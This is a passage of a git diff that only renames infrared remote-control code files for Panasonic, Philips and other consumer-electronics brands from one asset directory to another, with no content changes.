assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/TV/128,4.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,4.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/TV/128,9.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,9.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/TV/128,9.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,9.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/VCR/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/VCR/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Parasound/Receiver/134,97.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/134,97.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Parasound/Receiver/134,97.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/134,97.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Parasound/Receiver/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Parasound/Receiver/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Parasound/Receiver/3,240.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/3,240.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Parasound/Receiver/3,240.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/3,240.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/CD-R/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/CD-R/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/CD-R/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/CD-R/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/CD-R/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/CD-R/26,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/CD-R/26,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/CD-R/26,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/DSS/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DSS/133,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/DSS/133,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DSS/133,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/DSS/39,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DSS/39,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/DSS/39,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DSS/39,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/DVD Player/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/TV/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/TV/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/TV/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/TV/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/TV/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/TV/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir rename to 